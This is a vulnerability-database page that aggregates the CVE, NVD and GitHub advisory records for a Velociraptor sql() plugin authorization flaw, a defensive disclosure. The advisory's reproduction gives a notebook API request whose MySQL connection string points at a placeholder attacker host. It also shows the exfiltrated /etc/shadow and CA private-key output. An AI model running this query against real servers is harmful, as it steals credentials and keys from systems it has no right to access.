Vulnerability-Lookup

CVE-2026-85737 (GCVE-0-2026-85737)

Vulnerability from cvelistv5 – Published: 2026-11-06 20:23 – Updated: 2026-11-06 20:23

Title

Velociraptor: Low-priv analyst reads arbitrary server files via ungated sql() VQL plugin

Summary

Velociraptor is a tool for collecting host-based state information using Velociraptor Query Language (VQL) queries. Prior to 0.77.2, SQLPlugin.Call in vql/parsers/sql/sql.go does not enforce plugin-level FILESYSTEM_READ or NETWORK checks before the mysql and postgres branches pass a caller-controlled connstring to sql.Open, allowing arbitrary outbound database connections. With attacker-controlled MySQL connection options that enable local-infile access, a rogue MySQL server can request files readable by the Velociraptor server process, including root-readable files when that process runs as root. The SQLite file accessor still enforces FILESYSTEM_READ, but a low-privilege analyst with ANY_QUERY can use the zero-permission data accessor and ATTACH DATABASE to create files without the plugin-level check. This issue is fixed in version 0.77.2.

Severity

6.5 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

CWE

CWE-862 - Missing Authorization

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7836 records in the last 180 days details

References

5 references

URL	Tags
https://github.com/Velocidex/velociraptor/securit…	x_refsource_CONFIRM
https://github.com/Velocidex/velociraptor/pull/4952	x_refsource_MISC
https://github.com/Velocidex/velociraptor/commit/…	x_refsource_MISC
https://github.com/Velocidex/velociraptor/commit/…	x_refsource_MISC
https://github.com/Velocidex/velociraptor/release…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
Velocidex	velociraptor	Affected: < 0.77.2	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "velociraptor",
          "vendor": "Velocidex",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.77.2"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Velociraptor is a tool for collecting host-based state information using Velociraptor Query Language (VQL) queries. Prior to 0.77.2, SQLPlugin.Call in vql/parsers/sql/sql.go does not enforce plugin-level FILESYSTEM_READ or NETWORK checks before the mysql and postgres branches pass a caller-controlled connstring to sql.Open, allowing arbitrary outbound database connections. With attacker-controlled MySQL connection options that enable local-infile access, a rogue MySQL server can request files readable by the Velociraptor server process, including root-readable files when that process runs as root. The SQLite file accessor still enforces FILESYSTEM_READ, but a low-privilege analyst with ANY_QUERY can use the zero-permission data accessor and ATTACH DATABASE to create files without the plugin-level check. This issue is fixed in version 0.77.2."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.5,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "NONE",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
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              "cweId": "CWE-862",
              "description": "CWE-862: Missing Authorization",
              "lang": "en",
              "type": "CWE"
            }
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        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-06T20:23:33.445Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/Velocidex/velociraptor/security/advisories/GHSA-9qq5-422f-33c2",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/Velocidex/velociraptor/security/advisories/GHSA-9qq5-422f-33c2"
        },
        {
          "name": "https://github.com/Velocidex/velociraptor/pull/4952",
          "tags": [
            "x_refsource_MISC"
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          "url": "https://github.com/Velocidex/velociraptor/pull/4952"
        },
        {
          "name": "https://github.com/Velocidex/velociraptor/commit/d7de958e846d3742a7a3a8538fd463e4f12fc528",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/Velocidex/velociraptor/commit/d7de958e846d3742a7a3a8538fd463e4f12fc528"
        },
        {
          "name": "https://github.com/Velocidex/velociraptor/commit/f25390f8fbd00c888f0b7aaba2c061a51c3f7082",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/Velocidex/velociraptor/commit/f25390f8fbd00c888f0b7aaba2c061a51c3f7082"
        },
        {
          "name": "https://github.com/Velocidex/velociraptor/releases/tag/v0.77.2",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/Velocidex/velociraptor/releases/tag/v0.77.2"
        }
      ],
      "source": {
        "advisory": "GHSA-9qq5-422f-33c2",
        "discovery": "UNKNOWN"
      },
      "title": "Velociraptor: Low-priv analyst reads arbitrary server files via ungated sql() VQL plugin"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-85737",
    "datePublished": "2026-11-06T20:23:33.445Z",
    "dateReserved": "2026-09-04T14:50:16.719Z",
    "dateUpdated": "2026-11-06T20:23:33.445Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
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      "date": "2026-11-09",
      "epss": "0.00238",
      "percentile": "0.14973"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "velociraptor",
                "vendor": "Velocidex",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c 0.77.2"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "Velociraptor is a tool for collecting host-based state information using Velociraptor Query Language (VQL) queries. Prior to 0.77.2, SQLPlugin.Call in vql/parsers/sql/sql.go does not enforce plugin-level FILESYSTEM_READ or NETWORK checks before the mysql and postgres branches pass a caller-controlled connstring to sql.Open, allowing arbitrary outbound database connections. With attacker-controlled MySQL connection options that enable local-infile access, a rogue MySQL server can request files readable by the Velociraptor server process, including root-readable files when that process runs as root. The SQLite file accessor still enforces FILESYSTEM_READ, but a low-privilege analyst with ANY_QUERY can use the zero-permission data accessor and ATTACH DATABASE to create files without the plugin-level check. This issue is fixed in version 0.77.2."
          }
        ],
        "id": "CVE-2026-85737",
        "lastModified": "2026-11-06T21:17:11.940",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "NETWORK",
                "availabilityImpact": "NONE",
                "baseScore": 6.5,
                "baseSeverity": "MEDIUM",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "NONE",
                "privilegesRequired": "LOW",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
                "version": "3.1"
              },
              "exploitabilityScore": 2.8,
              "impactScore": 3.6,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ]
        },
        "published": "2026-11-06T21:17:11.940",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/Velocidex/velociraptor/commit/d7de958e846d3742a7a3a8538fd463e4f12fc528"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/Velocidex/velociraptor/commit/f25390f8fbd00c888f0b7aaba2c061a51c3f7082"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/Velocidex/velociraptor/pull/4952"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/Velocidex/velociraptor/releases/tag/v0.77.2"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/Velocidex/velociraptor/security/advisories/GHSA-9qq5-422f-33c2"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Received",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-862"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Primary"
          }
        ]
      }
    }
  }
}

FKIE_CVE-2026-85737

Vulnerability from fkie_nvd - Published: 2026-11-06 21:17 - Updated: 2026-11-06 21:17

Severity

6.5 (Medium) - CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/Velocidex/velociraptor/commit/d7de958e846d3742a7a3a8538fd463e4f12fc528
	security-advisories@github.com	https://github.com/Velocidex/velociraptor/commit/f25390f8fbd00c888f0b7aaba2c061a51c3f7082
	security-advisories@github.com	https://github.com/Velocidex/velociraptor/pull/4952
	security-advisories@github.com	https://github.com/Velocidex/velociraptor/releases/tag/v0.77.2
	security-advisories@github.com	https://github.com/Velocidex/velociraptor/security/advisories/GHSA-9qq5-422f-33c2

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "velociraptor",
          "vendor": "Velocidex",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 0.77.2"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Velociraptor is a tool for collecting host-based state information using Velociraptor Query Language (VQL) queries. Prior to 0.77.2, SQLPlugin.Call in vql/parsers/sql/sql.go does not enforce plugin-level FILESYSTEM_READ or NETWORK checks before the mysql and postgres branches pass a caller-controlled connstring to sql.Open, allowing arbitrary outbound database connections. With attacker-controlled MySQL connection options that enable local-infile access, a rogue MySQL server can request files readable by the Velociraptor server process, including root-readable files when that process runs as root. The SQLite file accessor still enforces FILESYSTEM_READ, but a low-privilege analyst with ANY_QUERY can use the zero-permission data accessor and ATTACH DATABASE to create files without the plugin-level check. This issue is fixed in version 0.77.2."
    }
  ],
  "id": "CVE-2026-85737",
  "lastModified": "2026-11-06T21:17:11.940",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.5,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-11-06T21:17:11.940",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Velocidex/velociraptor/commit/d7de958e846d3742a7a3a8538fd463e4f12fc528"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Velocidex/velociraptor/commit/f25390f8fbd00c888f0b7aaba2c061a51c3f7082"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Velocidex/velociraptor/pull/4952"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Velocidex/velociraptor/releases/tag/v0.77.2"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/Velocidex/velociraptor/security/advisories/GHSA-9qq5-422f-33c2"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-862"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

GHSA-9QQ5-422F-33C2

Vulnerability from github – Published: 2026-11-09 22:25 – Updated: 2026-11-09 22:25

Summary

Velociraptor: Low-priv analyst reads arbitrary server files via ungated sql() VQL plugin

Details

Summary

The sql() VQL plugin runs a caller-supplied database driver and connection string with no permission check (vql/parsers/sql/sql.go:93, SQLPlugin.Call). For driver='mysql' or driver='postgres' the handle comes from GetHandleOther (sql.go:39), which passes the connection string straight to Go database/sql sql.Open (sql.go:51) and executes the query (sql.go:159).

The plugin declares FILESYSTEM_READ only as Info().Permissions metadata (sql.go:219). That metadata is never consulted at runtime: metadata.go:19 stores it as a string that only the documentation exporter reads (api/reflect.go:82-110). Every sibling network plugin (http_client, netcat, s3, rsyslog) calls CheckAccess(acls.NETWORK) in its own body; sql() calls nothing.

The built-in analyst role holds ANY_QUERY but not FILESYSTEM_READ or NETWORK (acls/roles.go:222), and reaches this sink through the notebook query API.

Result: a low-priv analyst opens arbitrary outbound TCP connections and, through a rogue MySQL server's LOAD DATA LOCAL INFILE, reads any file the root-running server can read, including the deployment CA private key.

Affected

Velocidex/velociraptor server, <= v0.77.1 (latest release, 2026-06-23). Identical vulnerable code in master HEAD 1961e79 (2026-07-17).
Confirmed live-exploitable on the official ghcr.io/velocidex/velociraptor-server:latest image (build 0.77.1, commit bbe2a58).
Stock install, default Basic authenticator, any built-in analyst, investigator, or api role (all hold ANY_QUERY, none holds FILESYSTEM_READ or NETWORK).
No non-default flag required.

Root cause

SQLPlugin.Call (vql/parsers/sql/sql.go:93) parses the caller driver, connstring, and query arguments and reaches handle.Query (sql.go:159) without any vql_subsystem.CheckAccess call in its body. For driver='mysql' or driver='postgres' the handle comes from GetHandleOther (sql.go:39), which hands the attacker connection string to sql.Open (sql.go:51), so the plugin dials an arbitrary host and, through the MySQL client LOAD DATA LOCAL INFILE feature, reads local files. The plugin states its intended gate only as metadata, VQLMetadata().Permissions(acls.FILESYSTEM_READ) (sql.go:219), but MetadataBuilder.Permissions merely stores a string (vql/metadata.go:19) that is read only by the reflection exporter (api/reflect.go:82-110), never by the query engine. Every sibling network plugin enforces CheckAccess(acls.NETWORK) in its own body, so the omission in sql() is an enforcement oversight. The default analyst role grants ANY_QUERY without FILESYSTEM_READ or NETWORK (acls/roles.go:222), so a user the operator deliberately restricted still reaches the ungated sink.

Note on intent: acls/acls.go documents that specific permission combinations grant admin-equivalent power (SERVER_ARTIFACT_WRITER with COLLECT_SERVER, ARTIFACT_WRITER with COLLECT_CLIENT), but the analyst role holds none of them and is denied EXECVE, NETWORK, and FILESYSTEM_READ on every sibling plugin. If ANY_QUERY is nonetheless intended as trusted, the plugin's own Permissions(FILESYSTEM_READ) metadata and the runtime enforcement on all sibling plugins are misleading and should be reconciled; otherwise this is a missing runtime check.

Reproduction

ghcr.io/velocidex/velociraptor-server:latest (v0.77.1), default config, GUI on https://localhost:8889, one built-in analyst user.

1) As analyst, confirm the control: the gated accessor denies the read.

sql(driver='sqlite', accessor='file', file='/etc/passwd', query='SELECT 1')
=> sql: Field file Accessor file: PermissionDenied: Permission denied: [FILESYSTEM_READ]

2) Start a rogue MySQL server on an attacker host that completes the handshake and answers any query with a LOAD DATA LOCAL INFILE <target> packet.

3) As the same analyst, call the ungated branch through the notebook query API:

POST /api/v1/UpdateNotebookCell   (Basic auth + x-csrf-token)
{"type":"vql","input":"SELECT * FROM sql(driver='mysql',
  connstring='x:y@tcp(<ATTACKER>:4499)/z?allowAllFiles=true', query='SELECT 1')"}

The rogue server receives the file:

QUERY: 'SELECT 1'
EXFIL 12860 bytes  /etc/velociraptor/server.config.yaml
  contains: CA private_key, gw_private_key, Frontend private_key

Live-verified: analyst pocdemo exfiltrated /etc/passwd, /etc/shadow (mode 0600), and server.config.yaml, each sha256 byte-identical to docker exec sha256sum, while http_client() on the same account returns PermissionDenied: [NETWORK].

Impact

CA and Frontend RSA private keys disclosed: forge client certificates, impersonate the server to every enrolled endpoint.
Any root-readable file on the server host disclosed (/etc/shadow, datastore user records with password hashes, cross-tenant orgs data).
Arbitrary outbound TCP from the server host through the same sink and the upload_sftp, upload_smb, upload_azure, upload_gcs plugins.
Root-owned file creation at any path via the sqlite branch (zero-permission data accessor plus an in-query ATTACH DATABASE).
Triggered by the lowest built-in query role, default config, one query, no admin interaction.

Credit

Jan Kahmen, turingpoint (jan@turingpoint.de)

Severity

6.5 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.77.1"
      },
      "package": {
        "ecosystem": "Go",
        "name": "www.velocidex.com/golang/velociraptor"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.77.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-85737"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-11-09T22:25:14Z",
    "nvd_published_at": "2026-11-06T21:17:11Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `sql()` VQL plugin runs a caller-supplied database driver and connection string with no permission check (`vql/parsers/sql/sql.go:93`, `SQLPlugin.Call`). For `driver=\u0027mysql\u0027` or `driver=\u0027postgres\u0027` the handle comes from `GetHandleOther` (`sql.go:39`), which passes the connection string straight to Go `database/sql` `sql.Open` (`sql.go:51`) and executes the query (`sql.go:159`).\n\nThe plugin declares `FILESYSTEM_READ` only as `Info().Permissions` metadata (`sql.go:219`). That metadata is never consulted at runtime: `metadata.go:19` stores it as a string that only the documentation exporter reads (`api/reflect.go:82-110`). Every sibling network plugin (`http_client`, `netcat`, `s3`, `rsyslog`) calls `CheckAccess(acls.NETWORK)` in its own body; `sql()` calls nothing.\n\nThe built-in `analyst` role holds `ANY_QUERY` but not `FILESYSTEM_READ` or `NETWORK` (`acls/roles.go:222`), and reaches this sink through the notebook query API.\n\nResult: a low-priv analyst opens arbitrary outbound TCP connections and, through a rogue MySQL server\u0027s `LOAD DATA LOCAL INFILE`, reads any file the root-running server can read, including the deployment CA private key.\n\n## Affected\n\n- Velocidex/velociraptor server, `\u003c= v0.77.1` (latest release, 2026-06-23). Identical vulnerable code in `master` HEAD `1961e79` (2026-07-17).\n- Confirmed live-exploitable on the official `ghcr.io/velocidex/velociraptor-server:latest` image (build 0.77.1, commit bbe2a58).\n- Stock install, default Basic authenticator, any built-in `analyst`, `investigator`, or `api` role (all hold `ANY_QUERY`, none holds `FILESYSTEM_READ` or `NETWORK`).\n- No non-default flag required.\n\n## Root cause\n\n`SQLPlugin.Call` (`vql/parsers/sql/sql.go:93`) parses the caller `driver`, `connstring`, and `query` arguments and reaches `handle.Query` (`sql.go:159`) without any `vql_subsystem.CheckAccess` call in its body. For `driver=\u0027mysql\u0027` or `driver=\u0027postgres\u0027` the handle comes from `GetHandleOther` (`sql.go:39`), which hands the attacker connection string to `sql.Open` (`sql.go:51`), so the plugin dials an arbitrary host and, through the MySQL client `LOAD DATA LOCAL INFILE` feature, reads local files. The plugin states its intended gate only as metadata, `VQLMetadata().Permissions(acls.FILESYSTEM_READ)` (`sql.go:219`), but `MetadataBuilder.Permissions` merely stores a string (`vql/metadata.go:19`) that is read only by the reflection exporter (`api/reflect.go:82-110`), never by the query engine. Every sibling network plugin enforces `CheckAccess(acls.NETWORK)` in its own body, so the omission in `sql()` is an enforcement oversight. The default `analyst` role grants `ANY_QUERY` without `FILESYSTEM_READ` or `NETWORK` (`acls/roles.go:222`), so a user the operator deliberately restricted still reaches the ungated sink.\n\nNote on intent: `acls/acls.go` documents that specific permission combinations grant admin-equivalent power (`SERVER_ARTIFACT_WRITER` with `COLLECT_SERVER`, `ARTIFACT_WRITER` with `COLLECT_CLIENT`), but the `analyst` role holds none of them and is denied `EXECVE`, `NETWORK`, and `FILESYSTEM_READ` on every sibling plugin. If `ANY_QUERY` is nonetheless intended as trusted, the plugin\u0027s own `Permissions(FILESYSTEM_READ)` metadata and the runtime enforcement on all sibling plugins are misleading and should be reconciled; otherwise this is a missing runtime check.\n\n## Reproduction\n\n`ghcr.io/velocidex/velociraptor-server:latest` (v0.77.1), default config, GUI on `https://localhost:8889`, one built-in `analyst` user.\n\n1) As `analyst`, confirm the control: the gated accessor denies the read.\n\n    sql(driver=\u0027sqlite\u0027, accessor=\u0027file\u0027, file=\u0027/etc/passwd\u0027, query=\u0027SELECT 1\u0027)\n    =\u003e sql: Field file Accessor file: PermissionDenied: Permission denied: [FILESYSTEM_READ]\n\n2) Start a rogue MySQL server on an attacker host that completes the handshake and answers any query with a `LOAD DATA LOCAL INFILE \u003ctarget\u003e` packet.\n\n3) As the same `analyst`, call the ungated branch through the notebook query API:\n\n    POST /api/v1/UpdateNotebookCell   (Basic auth + x-csrf-token)\n    {\"type\":\"vql\",\"input\":\"SELECT * FROM sql(driver=\u0027mysql\u0027,\n      connstring=\u0027x:y@tcp(\u003cATTACKER\u003e:4499)/z?allowAllFiles=true\u0027, query=\u0027SELECT 1\u0027)\"}\n\nThe rogue server receives the file:\n\n    QUERY: \u0027SELECT 1\u0027\n    EXFIL 12860 bytes  /etc/velociraptor/server.config.yaml\n      contains: CA private_key, gw_private_key, Frontend private_key\n\nLive-verified: analyst `pocdemo` exfiltrated `/etc/passwd`, `/etc/shadow` (mode 0600), and `server.config.yaml`, each sha256 byte-identical to `docker exec sha256sum`, while `http_client()` on the same account returns `PermissionDenied: [NETWORK]`.\n\n## Impact\n\n* CA and Frontend RSA private keys disclosed: forge client certificates, impersonate the server to every enrolled endpoint.\n* Any root-readable file on the server host disclosed (`/etc/shadow`, datastore user records with password hashes, cross-tenant `orgs` data).\n* Arbitrary outbound TCP from the server host through the same sink and the `upload_sftp`, `upload_smb`, `upload_azure`, `upload_gcs` plugins.\n* Root-owned file creation at any path via the `sqlite` branch (zero-permission `data` accessor plus an in-query `ATTACH DATABASE`).\n* Triggered by the lowest built-in query role, default config, one query, no admin interaction.\n\n## Credit\n\nJan Kahmen, [turingpoint](https://www.turingpoint.de) (jan@turingpoint.de)",
  "id": "GHSA-9qq5-422f-33c2",
  "modified": "2026-11-09T22:25:14Z",
  "published": "2026-11-09T22:25:14Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Velocidex/velociraptor/security/advisories/GHSA-9qq5-422f-33c2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-85737"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Velocidex/velociraptor/pull/4952"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Velocidex/velociraptor/commit/d7de958e846d3742a7a3a8538fd463e4f12fc528"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Velocidex/velociraptor/commit/f25390f8fbd00c888f0b7aaba2c061a51c3f7082"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Velocidex/velociraptor"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Velocidex/velociraptor/releases/tag/v0.77.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Velociraptor: Low-priv analyst reads arbitrary server files via ungated sql() VQL plugin"
}

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CVE-2026-85737 (GCVE-0-2026-85737)

FKIE_CVE-2026-85737

GHSA-9QQ5-422F-33C2

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